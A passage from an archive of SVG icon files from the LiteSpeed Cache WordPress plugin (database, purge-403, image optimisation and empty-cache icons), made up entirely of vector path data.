			192.768,157.918 192.768,238.304 192.768,238.717 193.18,238.717 194.568,238.717 194.604,238.717 194.675,238.705 
			200.865,238.694 200.867,238.694 200.985,238.712 202.441,238.717 202.854,238.717 202.854,238.304 202.854,157.918 
			202.854,157.506 202.441,157.506 		"/>
	</g>
</g>
</svg>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/icons/db.svg000064400000004146151031165260020573 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.3, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="75px" height="75px" viewBox="0 0 75 75" enable-background="new 0 0 75 75" xml:space="preserve">
<path fill="#21A0DF" d="M66.478,27.294c0,0,0-0.001,0-0.001V11.727c0-0.054-0.006-0.107-0.017-0.159
	c0-0.001-0.001-0.002-0.001-0.004c0.006-0.089,0.018-0.178,0.018-0.268c0-0.163-0.049-0.313-0.132-0.439
	c-0.628-2.732-3.608-5.213-8.528-7.054c-5.19-1.943-12.039-3.013-19.281-3.013c-7.244,0-14.091,1.07-19.283,3.013
	c-4.92,1.841-7.9,4.322-8.527,7.055c-0.083,0.126-0.132,0.276-0.132,0.438c0,0.089,0.012,0.178,0.017,0.267c0,0.001,0,0.003,0,0.004
	c-0.011,0.052-0.017,0.105-0.017,0.161v50.829c0,0.057,0.006,0.111,0.017,0.164c0.505,6.453,12.718,11.491,27.925,11.491
	c15.204,0,27.415-5.037,27.923-11.489c0.013-0.053,0.019-0.109,0.019-0.166v-17.66c0-0.002,0-0.002,0-0.003v-0.001V27.296
	C66.478,27.296,66.478,27.295,66.478,27.294z M19.813,5.299c5.017-1.878,11.665-2.911,18.723-2.911
	c7.057,0,13.706,1.033,18.722,2.911c4.615,1.727,7.365,4.025,7.598,6.326c-0.5,4.419-10.945,9.024-26.319,9.024
	c-15.375,0-25.821-4.604-26.319-9.024C12.449,9.324,15.199,7.026,19.813,5.299z M38.536,22.248c12.32,0,22.537-2.975,26.343-7.232
	v12.281c-0.004,5.589-12.066,10.311-26.343,10.311c-14.279,0-26.343-4.723-26.343-10.313V15.015
	C15.999,19.272,26.216,22.248,38.536,22.248z M64.879,62.442c-0.004,0.023-0.006,0.047-0.008,0.068
	c-0.142,2.551-2.929,5.097-7.648,6.987c-5.01,2.008-11.646,3.114-18.687,3.114c-7.041,0-13.678-1.106-18.687-3.114
	c-4.72-1.891-7.507-4.437-7.65-6.987c-0.001-0.021-0.003-0.045-0.006-0.067V48.938c3.806,4.631,14.023,7.867,26.343,7.867
	c12.32,0,22.537-3.236,26.343-7.866V62.442z M64.879,44.895c-0.004,5.59-12.066,10.313-26.343,10.313
	c-14.279,0-26.343-4.724-26.343-10.314V31.34c3.806,4.63,14.023,7.865,26.343,7.865c12.32,0,22.537-3.235,26.343-7.865V44.895z"/>
</svg>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/icons/purge-403.svg000064400000011104151031165260021624 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.3, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="75px" height="75px" viewBox="0 0 75 75" enable-background="new 0 0 75 75" xml:space="preserve">
<g>
	<path fill="#6699CC" d="M30.075,34.094H28.1v-9.829c0-0.138-0.112-0.25-0.25-0.25h-1.805c-0.082,0-0.158,0.04-0.205,0.106
		l-7.116,10.142c-0.03,0.042-0.045,0.092-0.045,0.144v1.486c0,0.138,0.112,0.25,0.25,0.25h7.041v3.195c0,0.138,0.112,0.25,0.25,0.25
		h1.63c0.138,0,0.25-0.112,0.25-0.25v-3.195h1.975c0.138,0,0.25-0.112,0.25-0.25v-1.549C30.325,34.206,30.213,34.094,30.075,34.094z
		 M25.97,29.361v4.732h-4.857l4.413-6.275c0.16-0.241,0.328-0.517,0.5-0.826C25.988,27.85,25.97,28.644,25.97,29.361z"/>
	<path fill="#6699CC" d="M40.443,37.76c0.839-1.313,1.264-3.31,1.264-5.938c0-2.539-0.439-4.513-1.305-5.867
		c-0.891-1.389-2.209-2.094-3.918-2.094c-1.751,0-3.074,0.677-3.933,2.011c-0.836,1.3-1.26,3.301-1.26,5.95
		c0,2.566,0.438,4.548,1.301,5.892c0.886,1.379,2.195,2.079,3.892,2.079C38.248,39.793,39.58,39.109,40.443,37.76z M38.726,36.452
		c-0.467,0.925-1.2,1.375-2.242,1.375c-1.029,0-1.758-0.443-2.229-1.356c-0.492-0.955-0.741-2.519-0.741-4.648
		c0-2.131,0.25-3.691,0.741-4.638c0.47-0.906,1.199-1.347,2.229-1.347c1.042,0,1.776,0.447,2.243,1.365
		c0.489,0.961,0.737,2.515,0.737,4.619C39.464,33.925,39.216,35.483,38.726,36.452z"/>
	<path fill="#6699CC" d="M53.068,27.874c0-1.234-0.438-2.222-1.301-2.936c-0.85-0.702-2.045-1.057-3.553-1.057
		c-0.913,0-1.794,0.145-2.619,0.43c-0.824,0.283-1.564,0.681-2.201,1.183c-0.107,0.084-0.127,0.238-0.046,0.346l0.861,1.148
		c0.078,0.105,0.224,0.131,0.335,0.061c0.723-0.463,1.371-0.785,1.928-0.956c0.556-0.169,1.155-0.255,1.783-0.255
		c0.798,0,1.432,0.191,1.886,0.567c0.446,0.37,0.663,0.871,0.663,1.53c0,0.84-0.303,1.478-0.926,1.949
		c-0.636,0.48-1.521,0.723-2.629,0.723h-1.496c-0.138,0-0.25,0.112-0.25,0.25v1.467c0,0.138,0.112,0.25,0.25,0.25h1.477
		c2.715,0,4.035,0.811,4.035,2.478c0,1.881-1.189,2.796-3.636,2.796c-0.635,0-1.318-0.083-2.031-0.246
		c-0.713-0.162-1.393-0.402-2.021-0.713c-0.077-0.038-0.17-0.034-0.243,0.012s-0.118,0.126-0.118,0.212v1.619
		c0,0.096,0.055,0.184,0.141,0.225c0.639,0.311,1.308,0.529,1.987,0.652c0.669,0.122,1.417,0.184,2.224,0.184
		c1.873,0,3.346-0.405,4.378-1.206c1.051-0.815,1.583-1.991,1.583-3.494c0-1.06-0.316-1.932-0.939-2.592
		c-0.466-0.493-1.12-0.849-1.951-1.062c0.637-0.243,1.16-0.595,1.563-1.051C52.776,29.735,53.068,28.889,53.068,27.874z"/>
	<path fill="#6699CC" d="M17.361,5h-0.05c-0.483,0-0.85,0.392-0.85,0.875s0.417,0.875,0.9,0.875c0.483,0,0.875-0.392,0.875-0.875
		S17.845,5,17.361,5z"/>
	<path fill="#6699CC" d="M20.898,5h-0.086c-0.483,0-0.832,0.392-0.832,0.875s0.435,0.875,0.918,0.875s0.875-0.392,0.875-0.875
		S21.382,5,20.898,5z"/>
	<path fill="#6699CC" d="M24.398,5h-0.05c-0.483,0-0.85,0.392-0.85,0.875s0.417,0.875,0.9,0.875s0.875-0.392,0.875-0.875
		S24.882,5,24.398,5z"/>
	<path fill="#6699CC" d="M37.626,59.27c0,5.621,4.574,10.195,10.196,10.195c5.623,0,10.197-4.574,10.197-10.195
		c0-5.623-4.574-10.197-10.197-10.197C42.2,49.07,37.626,53.646,37.626,59.27z M56.27,59.27c0,4.656-3.789,8.445-8.446,8.445
		s-8.446-3.789-8.446-8.445c0-4.658,3.789-8.447,8.446-8.447C52.48,50.82,56.27,54.609,56.27,59.27z"/>
	<path fill="#6699CC" d="M42.833,64.257c0.171,0.171,0.396,0.257,0.619,0.257c0.223,0,0.448-0.086,0.618-0.257l3.753-3.752
		l3.752,3.752c0.171,0.171,0.396,0.257,0.618,0.257c0.224,0,0.449-0.086,0.619-0.257c0.342-0.342,0.342-0.896,0-1.237l-3.752-3.752
		l3.752-3.752c0.342-0.343,0.342-0.896,0-1.238s-0.896-0.342-1.237,0l-3.752,3.752l-3.753-3.752c-0.342-0.342-0.896-0.342-1.237,0
		c-0.341,0.342-0.341,0.896,0,1.238l3.752,3.752l-3.752,3.752C42.492,63.361,42.492,63.915,42.833,64.257z"/>
	<path fill="#6699CC" d="M62.77,13.878c-0.041-0.079-0.082-0.158-0.148-0.225L50.535,1.569c-0.004-0.003-0.01-0.004-0.012-0.008
		c-0.08-0.076-0.17-0.138-0.272-0.181c-0.106-0.044-0.222-0.067-0.335-0.067H14.812c-1.585,0-2.875,1.29-2.875,2.875v66.625
		c0,1.586,1.29,2.875,2.875,2.875h45.377c1.584,0,2.875-1.289,2.875-2.875v-56.29C63.063,14.265,62.947,14.039,62.77,13.878z
		 M50.791,4.3l9.348,9.348h-8.223c-0.62,0-1.125-0.505-1.125-1.125V4.3z M13.687,4.188c0-0.621,0.504-1.125,1.125-1.125h34.229
		v6.126H13.687V4.188z M61.313,70.813c0,0.621-0.504,1.125-1.125,1.125H14.812c-0.62,0-1.125-0.504-1.125-1.125V10.938h35.354v1.584
		c0,1.585,1.29,2.875,2.875,2.875h9.396V70.813z"/>
</g>
</svg>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/icons/img_optm.svg000064400000013002151031165260022010 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.3, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="30px" height="30px" viewBox="0 0 30 30" enable-background="new 0 0 30 30" xml:space="preserve">
<path fill="#5968B3" d="M17.181,20.485H2.421l12.867-8.158l3.352,3.626l0.637,0.018c0.034-0.048,0.069-0.097,0.105-0.144
	l-0.293-0.826c-0.12-0.34-0.023-0.713,0.248-0.951c0.308-0.27,0.642-0.512,0.99-0.72c0.137-0.081,0.291-0.123,0.448-0.123
	c0.191,0,0.381,0.064,0.532,0.18l0.694,0.534c0.058-0.02,0.115-0.039,0.173-0.057l0.248-0.84c0.102-0.346,0.399-0.591,0.759-0.624
	c0.146-0.014,0.298-0.017,0.448-0.021V6.147H1.62V21.29h15.78c-0.071-0.215-0.155-0.416-0.207-0.647
	C17.181,20.59,17.183,20.538,17.181,20.485z M10.705,8.189c0.956,0,1.731,0.775,1.731,1.731c0,0.956-0.775,1.73-1.731,1.73
	c-0.956,0-1.731-0.774-1.731-1.73C8.974,8.964,9.75,8.189,10.705,8.189z M2.368,9.563l7.593,5.435l-7.593,4.729V9.563z
	 M23.63,17.247v3.792c-0.466-0.04-0.886-0.239-1.196-0.554h0.395l-0.911-0.986c-0.021-0.115-0.036-0.233-0.036-0.355
	C21.881,18.145,22.653,17.332,23.63,17.247z M24.298,20.979v-3.673c0.335,0.092,0.634,0.268,0.869,0.511v2.652
	C24.932,20.712,24.633,20.888,24.298,20.979z M19.383,22.458l-0.163,0.458H0.083V4.582h25.084v8.451l-0.003-0.008
	c-0.102-0.346-0.399-0.591-0.759-0.625c-0.035-0.003-0.071-0.002-0.107-0.005V5.451H0.952v16.596h16.776
	c0.163,0.176,0.397,0.286,0.666,0.291l0.883-0.024C19.311,22.362,19.346,22.41,19.383,22.458z M23.794,25.418
	c-0.191,0-0.378-0.012-0.563-0.027c-0.154-0.014-0.284-0.119-0.328-0.268l-0.326-1.106c-0.224-0.058-0.444-0.13-0.659-0.217
	l-0.913,0.702c-0.122,0.094-0.29,0.104-0.422,0.024c-0.326-0.195-0.634-0.419-0.916-0.666c-0.115-0.102-0.157-0.263-0.106-0.408
	l0.387-1.088c-0.149-0.179-0.286-0.365-0.408-0.559l-1.158,0.032c-0.149-0.003-0.294-0.086-0.354-0.227
	c-0.143-0.331-0.259-0.694-0.346-1.078c-0.033-0.149,0.027-0.305,0.154-0.392l0.95-0.65c-0.009-0.115-0.014-0.231-0.014-0.349
	s0.005-0.232,0.014-0.348l-0.95-0.65c-0.127-0.087-0.188-0.242-0.154-0.393c0.087-0.382,0.203-0.745,0.346-1.078
	c0.061-0.143,0.19-0.232,0.354-0.228l1.158,0.032c0.122-0.193,0.259-0.38,0.408-0.557l-0.387-1.088
	c-0.051-0.145-0.009-0.306,0.106-0.408c0.285-0.25,0.594-0.474,0.917-0.666c0.133-0.078,0.299-0.068,0.421,0.025l0.913,0.702
	c0.219-0.088,0.439-0.161,0.659-0.216l0.326-1.105c0.043-0.147,0.172-0.253,0.325-0.268c0.371-0.035,0.758-0.035,1.132,0
	c0.153,0.014,0.282,0.12,0.325,0.268l0.326,1.104c0.22,0.056,0.44,0.128,0.659,0.217l0.914-0.702
	c0.121-0.094,0.288-0.104,0.421-0.024c0.325,0.194,0.633,0.418,0.916,0.666c0.116,0.101,0.158,0.263,0.106,0.408l-0.387,1.088
	c0.149,0.177,0.286,0.363,0.408,0.557l1.158-0.032c0.137-0.004,0.294,0.085,0.354,0.228c0.144,0.334,0.26,0.696,0.347,1.078
	c0.034,0.149-0.027,0.306-0.154,0.393l-0.95,0.65c0.009,0.115,0.013,0.23,0.013,0.348s-0.004,0.233-0.013,0.349l0.95,0.65
	c0.127,0.087,0.188,0.242,0.154,0.393c-0.087,0.383-0.203,0.745-0.347,1.077c-0.062,0.141-0.214,0.228-0.354,0.227l-1.158-0.032
	c-0.121,0.193-0.258,0.38-0.408,0.559l0.387,1.088c0.052,0.146,0.01,0.307-0.106,0.408c-0.283,0.248-0.592,0.472-0.916,0.666
	c-0.132,0.08-0.299,0.07-0.421-0.024L25.67,23.8c-0.215,0.087-0.436,0.159-0.659,0.217l-0.326,1.106
	c-0.044,0.148-0.174,0.254-0.328,0.268C24.171,25.406,23.983,25.418,23.794,25.418z M23.548,24.661c0.162,0.008,0.328,0.008,0.491,0
	l0.314-1.067c0.039-0.133,0.148-0.232,0.284-0.261c0.317-0.065,0.631-0.169,0.93-0.306c0.125-0.061,0.273-0.043,0.385,0.044
	l0.882,0.677c0.137-0.091,0.271-0.188,0.399-0.29l-0.374-1.05c-0.046-0.132-0.017-0.277,0.078-0.38
	c0.225-0.245,0.419-0.51,0.576-0.788c0.068-0.121,0.191-0.206,0.337-0.19l1.115,0.031c0.056-0.15,0.105-0.306,0.149-0.468
	l-0.919-0.629c-0.115-0.079-0.177-0.216-0.16-0.355c0.02-0.159,0.03-0.321,0.03-0.486s-0.011-0.326-0.03-0.485
	c-0.017-0.139,0.045-0.276,0.16-0.355l0.919-0.629c-0.044-0.162-0.094-0.318-0.149-0.47l-1.115,0.031
	c-0.143-0.006-0.268-0.069-0.337-0.189c-0.158-0.279-0.352-0.544-0.576-0.787c-0.095-0.102-0.124-0.248-0.078-0.38l0.374-1.049
	c-0.129-0.103-0.262-0.199-0.399-0.29l-0.882,0.677c-0.11,0.084-0.258,0.101-0.383,0.044c-0.309-0.14-0.622-0.242-0.931-0.305
	c-0.136-0.028-0.246-0.128-0.285-0.262l-0.314-1.067c-0.164-0.009-0.328-0.008-0.491,0l-0.314,1.067
	c-0.039,0.133-0.149,0.234-0.285,0.262c-0.309,0.063-0.622,0.165-0.931,0.305c-0.128,0.055-0.274,0.04-0.384-0.044l-0.881-0.677
	c-0.137,0.09-0.271,0.188-0.398,0.29l0.373,1.05c0.046,0.132,0.017,0.277-0.078,0.38c-0.224,0.243-0.418,0.508-0.577,0.787
	c-0.067,0.12-0.204,0.18-0.336,0.189l-1.115-0.031c-0.056,0.15-0.105,0.308-0.148,0.47l0.918,0.629
	c0.115,0.079,0.178,0.216,0.16,0.354c-0.019,0.159-0.03,0.321-0.03,0.486s0.012,0.327,0.031,0.487
	c0.017,0.139-0.046,0.275-0.161,0.354l-0.919,0.629c0.044,0.162,0.094,0.318,0.149,0.468l1.115-0.031
	c0.135-0.012,0.269,0.069,0.337,0.189c0.158,0.279,0.352,0.544,0.577,0.789c0.094,0.103,0.123,0.249,0.077,0.38l-0.373,1.05
	c0.128,0.102,0.262,0.199,0.399,0.29l0.88-0.677c0.11-0.085,0.259-0.103,0.385-0.044c0.3,0.137,0.613,0.24,0.932,0.306
	c0.135,0.028,0.244,0.128,0.283,0.261L23.548,24.661z M23.794,22.306c-1.744,0-3.163-1.419-3.163-3.162
	c0-1.744,1.419-3.163,3.163-3.163c1.743,0,3.162,1.419,3.162,3.163C26.956,20.887,25.537,22.306,23.794,22.306z M23.794,16.73
	c-1.33,0-2.413,1.082-2.413,2.413c0,1.33,1.083,2.412,2.413,2.412s2.412-1.082,2.412-2.412C26.206,17.813,25.124,16.73,23.794,16.73
	z"/>
</svg>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/icons/img_optm_disabled.svg000064400000013002151031165260023637 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.3, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="30px" height="30px" viewBox="0 0 30 30" enable-background="new 0 0 30 30" xml:space="preserve">
<path fill="#CED1D9" d="M17.181,20.485H2.421l12.867-8.158l3.352,3.626l0.637,0.018c0.034-0.048,0.069-0.097,0.105-0.144
	l-0.293-0.826c-0.12-0.34-0.023-0.713,0.248-0.951c0.308-0.27,0.642-0.512,0.99-0.72c0.137-0.081,0.291-0.123,0.448-0.123
	c0.191,0,0.381,0.064,0.532,0.18l0.694,0.534c0.058-0.02,0.115-0.039,0.173-0.057l0.248-0.84c0.102-0.346,0.399-0.591,0.759-0.624
	c0.146-0.014,0.298-0.017,0.448-0.021V6.147H1.62V21.29h15.78c-0.071-0.215-0.155-0.416-0.207-0.647
	C17.181,20.59,17.183,20.538,17.181,20.485z M10.705,8.189c0.956,0,1.731,0.775,1.731,1.731c0,0.956-0.775,1.73-1.731,1.73
	c-0.956,0-1.731-0.774-1.731-1.73C8.974,8.964,9.75,8.189,10.705,8.189z M2.368,9.563l7.593,5.435l-7.593,4.729V9.563z
	 M23.63,17.247v3.792c-0.466-0.04-0.886-0.239-1.196-0.554h0.395l-0.911-0.986c-0.021-0.115-0.036-0.233-0.036-0.355
	C21.881,18.145,22.653,17.332,23.63,17.247z M24.298,20.979v-3.673c0.335,0.092,0.634,0.268,0.869,0.511v2.652
	C24.932,20.712,24.633,20.888,24.298,20.979z M19.383,22.458l-0.163,0.458H0.083V4.582h25.084v8.451l-0.003-0.008
	c-0.102-0.346-0.399-0.591-0.759-0.625c-0.035-0.003-0.071-0.002-0.107-0.005V5.451H0.952v16.596h16.776
	c0.163,0.176,0.397,0.286,0.666,0.291l0.883-0.024C19.311,22.362,19.346,22.41,19.383,22.458z M23.794,25.418
	c-0.191,0-0.378-0.012-0.563-0.027c-0.154-0.014-0.284-0.119-0.328-0.268l-0.326-1.106c-0.224-0.058-0.444-0.13-0.659-0.217
	l-0.913,0.702c-0.122,0.094-0.29,0.104-0.422,0.024c-0.326-0.195-0.634-0.419-0.916-0.666c-0.115-0.102-0.157-0.263-0.106-0.408
	l0.387-1.088c-0.149-0.179-0.286-0.365-0.408-0.559l-1.158,0.032c-0.149-0.003-0.294-0.086-0.354-0.227
	c-0.143-0.331-0.259-0.694-0.346-1.078c-0.033-0.149,0.027-0.305,0.154-0.392l0.95-0.65c-0.009-0.115-0.014-0.231-0.014-0.349
	s0.005-0.232,0.014-0.348l-0.95-0.65c-0.127-0.087-0.188-0.242-0.154-0.393c0.087-0.382,0.203-0.745,0.346-1.078
	c0.061-0.143,0.19-0.232,0.354-0.228l1.158,0.032c0.122-0.193,0.259-0.38,0.408-0.557l-0.387-1.088
	c-0.051-0.145-0.009-0.306,0.106-0.408c0.285-0.25,0.594-0.474,0.917-0.666c0.133-0.078,0.299-0.068,0.421,0.025l0.913,0.702
	c0.219-0.088,0.439-0.161,0.659-0.216l0.326-1.105c0.043-0.147,0.172-0.253,0.325-0.268c0.371-0.035,0.758-0.035,1.132,0
	c0.153,0.014,0.282,0.12,0.325,0.268l0.326,1.104c0.22,0.056,0.44,0.128,0.659,0.217l0.914-0.702
	c0.121-0.094,0.288-0.104,0.421-0.024c0.325,0.194,0.633,0.418,0.916,0.666c0.116,0.101,0.158,0.263,0.106,0.408l-0.387,1.088
	c0.149,0.177,0.286,0.363,0.408,0.557l1.158-0.032c0.137-0.004,0.294,0.085,0.354,0.228c0.144,0.334,0.26,0.696,0.347,1.078
	c0.034,0.149-0.027,0.306-0.154,0.393l-0.95,0.65c0.009,0.115,0.013,0.23,0.013,0.348s-0.004,0.233-0.013,0.349l0.95,0.65
	c0.127,0.087,0.188,0.242,0.154,0.393c-0.087,0.383-0.203,0.745-0.347,1.077c-0.062,0.141-0.214,0.228-0.354,0.227l-1.158-0.032
	c-0.121,0.193-0.258,0.38-0.408,0.559l0.387,1.088c0.052,0.146,0.01,0.307-0.106,0.408c-0.283,0.248-0.592,0.472-0.916,0.666
	c-0.132,0.08-0.299,0.07-0.421-0.024L25.67,23.8c-0.215,0.087-0.436,0.159-0.659,0.217l-0.326,1.106
	c-0.044,0.148-0.174,0.254-0.328,0.268C24.171,25.406,23.983,25.418,23.794,25.418z M23.548,24.661c0.162,0.008,0.328,0.008,0.491,0
	l0.314-1.067c0.039-0.133,0.148-0.232,0.284-0.261c0.317-0.065,0.631-0.169,0.93-0.306c0.125-0.061,0.273-0.043,0.385,0.044
	l0.882,0.677c0.137-0.091,0.271-0.188,0.399-0.29l-0.374-1.05c-0.046-0.132-0.017-0.277,0.078-0.38
	c0.225-0.245,0.419-0.51,0.576-0.788c0.068-0.121,0.191-0.206,0.337-0.19l1.115,0.031c0.056-0.15,0.105-0.306,0.149-0.468
	l-0.919-0.629c-0.115-0.079-0.177-0.216-0.16-0.355c0.02-0.159,0.03-0.321,0.03-0.486s-0.011-0.326-0.03-0.485
	c-0.017-0.139,0.045-0.276,0.16-0.355l0.919-0.629c-0.044-0.162-0.094-0.318-0.149-0.47l-1.115,0.031
	c-0.143-0.006-0.268-0.069-0.337-0.189c-0.158-0.279-0.352-0.544-0.576-0.787c-0.095-0.102-0.124-0.248-0.078-0.38l0.374-1.049
	c-0.129-0.103-0.262-0.199-0.399-0.29l-0.882,0.677c-0.11,0.084-0.258,0.101-0.383,0.044c-0.309-0.14-0.622-0.242-0.931-0.305
	c-0.136-0.028-0.246-0.128-0.285-0.262l-0.314-1.067c-0.164-0.009-0.328-0.008-0.491,0l-0.314,1.067
	c-0.039,0.133-0.149,0.234-0.285,0.262c-0.309,0.063-0.622,0.165-0.931,0.305c-0.128,0.055-0.274,0.04-0.384-0.044l-0.881-0.677
	c-0.137,0.09-0.271,0.188-0.398,0.29l0.373,1.05c0.046,0.132,0.017,0.277-0.078,0.38c-0.224,0.243-0.418,0.508-0.577,0.787
	c-0.067,0.12-0.204,0.18-0.336,0.189l-1.115-0.031c-0.056,0.15-0.105,0.308-0.148,0.47l0.918,0.629
	c0.115,0.079,0.178,0.216,0.16,0.354c-0.019,0.159-0.03,0.321-0.03,0.486s0.012,0.327,0.031,0.487
	c0.017,0.139-0.046,0.275-0.161,0.354l-0.919,0.629c0.044,0.162,0.094,0.318,0.149,0.468l1.115-0.031
	c0.135-0.012,0.269,0.069,0.337,0.189c0.158,0.279,0.352,0.544,0.577,0.789c0.094,0.103,0.123,0.249,0.077,0.38l-0.373,1.05
	c0.128,0.102,0.262,0.199,0.399,0.29l0.88-0.677c0.11-0.085,0.259-0.103,0.385-0.044c0.3,0.137,0.613,0.24,0.932,0.306
	c0.135,0.028,0.244,0.128,0.283,0.261L23.548,24.661z M23.794,22.306c-1.744,0-3.163-1.419-3.163-3.162
	c0-1.744,1.419-3.163,3.163-3.163c1.743,0,3.162,1.419,3.162,3.163C26.956,20.887,25.537,22.306,23.794,22.306z M23.794,16.73
	c-1.33,0-2.413,1.082-2.413,2.413c0,1.33,1.083,2.412,2.413,2.412s2.412-1.082,2.412-2.412C26.206,17.813,25.124,16.73,23.794,16.73
	z"/>
</svg>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/icons/empty-cache.svg000064400000014224151031165260022403 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.3, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="75px" height="75px" viewBox="0 0 75 75" enable-background="new 0 0 75 75" xml:space="preserve">
<g>
	<path fill="#6699CC" d="M61.125,33.733h-1.583V11.637c0-0.003-0.002-0.007-0.002-0.01c-0.001-0.077-0.024-0.151-0.046-0.227
		c-0.01-0.035-0.01-0.074-0.023-0.107c-0.01-0.023-0.029-0.04-0.041-0.062c-0.043-0.079-0.089-0.156-0.152-0.219
		c-0.002-0.002-0.004-0.005-0.006-0.007L50.12,2.247h-0.001l-0.014-0.013c-0.028-0.027-0.065-0.039-0.098-0.061
		c-0.059-0.043-0.113-0.089-0.183-0.116s-0.14-0.033-0.212-0.042C49.575,2.008,49.541,1.99,49.5,1.99H18.478
		c-1.585,0-2.875,1.29-2.875,2.875v28.868h-1.478c-1.585,0-2.875,1.29-2.875,2.875v6.028c0,1.585,1.29,2.875,2.875,2.875h1.876
		c0.037,0,0.067-0.017,0.103-0.021c0.081,3.687-0.345,7.248-0.771,10.725c-0.626,5.098-1.273,10.367-0.339,16.061
		c0.07,0.43,0.441,0.733,0.862,0.733c0.047,0,0.095-0.004,0.143-0.012c0.477-0.078,0.8-0.528,0.722-1.005
		c-0.894-5.446-0.262-10.59,0.349-15.563c0.621-5.06,1.259-10.289,0.356-15.933h1.765c-0.001,0.053-0.014,0.103-0.005,0.155
		c0.893,5.445,0.261,10.588-0.35,15.562c-0.626,5.097-1.274,10.367-0.338,16.062c0.07,0.43,0.441,0.733,0.862,0.733
		c0.047,0,0.095-0.004,0.143-0.012c0.477-0.078,0.8-0.528,0.722-1.005c-0.895-5.446-0.262-10.592,0.349-15.565
		c0.621-5.058,1.26-10.286,0.356-15.93h1.767c-0.001,0.053-0.015,0.103-0.006,0.155c0.893,5.447,0.261,10.591-0.35,15.563
		c-0.626,5.097-1.273,10.366-0.34,16.06c0.07,0.429,0.441,0.732,0.862,0.732c0.047,0,0.095-0.004,0.143-0.012
		c0.477-0.078,0.8-0.528,0.722-1.005c-0.893-5.445-0.261-10.589,0.351-15.562c0.621-5.06,1.26-10.289,0.356-15.935h1.764
		c-0.001,0.053-0.015,0.103-0.006,0.155c0.893,5.445,0.261,10.589-0.35,15.563c-0.626,5.098-1.273,10.367-0.339,16.061
		c0.07,0.43,0.441,0.733,0.862,0.733c0.047,0,0.095-0.004,0.143-0.012c0.477-0.078,0.8-0.528,0.722-1.005
		c-0.894-5.446-0.262-10.59,0.349-15.563c0.621-5.059,1.259-10.288,0.356-15.932H29.7c-0.001,0.053-0.015,0.103-0.006,0.155
		c0.891,5.443,0.259,10.586-0.351,15.559c-0.626,5.1-1.274,10.37-0.339,16.064c0.07,0.429,0.441,0.732,0.862,0.732
		c0.047,0,0.095-0.004,0.143-0.012c0.477-0.078,0.8-0.528,0.722-1.005c-0.894-5.447-0.262-10.593,0.35-15.567
		c0.621-5.057,1.259-10.285,0.357-15.928h1.764c-0.001,0.053-0.015,0.104-0.006,0.156c0.894,5.445,0.262,10.59-0.349,15.563
		c-0.626,5.098-1.274,10.366-0.339,16.059c0.07,0.43,0.441,0.733,0.862,0.733c0.047,0,0.095-0.004,0.143-0.012
		c0.477-0.078,0.8-0.528,0.722-1.005c-0.894-5.445-0.262-10.588,0.35-15.563c0.622-5.059,1.26-10.289,0.355-15.934h1.766
		c-0.001,0.053-0.015,0.104-0.006,0.156c0.893,5.444,0.261,10.59-0.35,15.563c-0.626,5.097-1.273,10.365-0.34,16.058
		c0.07,0.43,0.441,0.733,0.862,0.733c0.047,0,0.095-0.004,0.143-0.012c0.477-0.078,0.8-0.528,0.722-1.005
		c-0.892-5.444-0.261-10.588,0.35-15.563c0.621-5.059,1.259-10.289,0.356-15.934h1.767c-0.001,0.053-0.015,0.103-0.006,0.156
		c0.892,5.443,0.26,10.588-0.351,15.562c-0.625,5.099-1.271,10.368-0.34,16.062c0.07,0.429,0.441,0.732,0.862,0.732
		c0.047,0,0.095-0.004,0.144-0.012c0.477-0.078,0.799-0.527,0.722-1.006c-0.892-5.444-0.261-10.588,0.35-15.563
		c0.62-5.058,1.259-10.288,0.356-15.931h1.765c-0.001,0.053-0.015,0.103-0.006,0.156c0.894,5.444,0.262,10.59-0.349,15.564
		c-0.625,5.096-1.271,10.365-0.34,16.057c0.07,0.43,0.441,0.733,0.862,0.733c0.047,0,0.095-0.004,0.144-0.012
		c0.477-0.078,0.799-0.527,0.722-1.005c-0.892-5.443-0.261-10.588,0.351-15.562c0.619-5.06,1.258-10.29,0.354-15.935h1.765
		c-0.001,0.053-0.015,0.103-0.006,0.156c0.894,5.445,0.263,10.592-0.349,15.567c-0.625,5.097-1.271,10.363-0.342,16.054
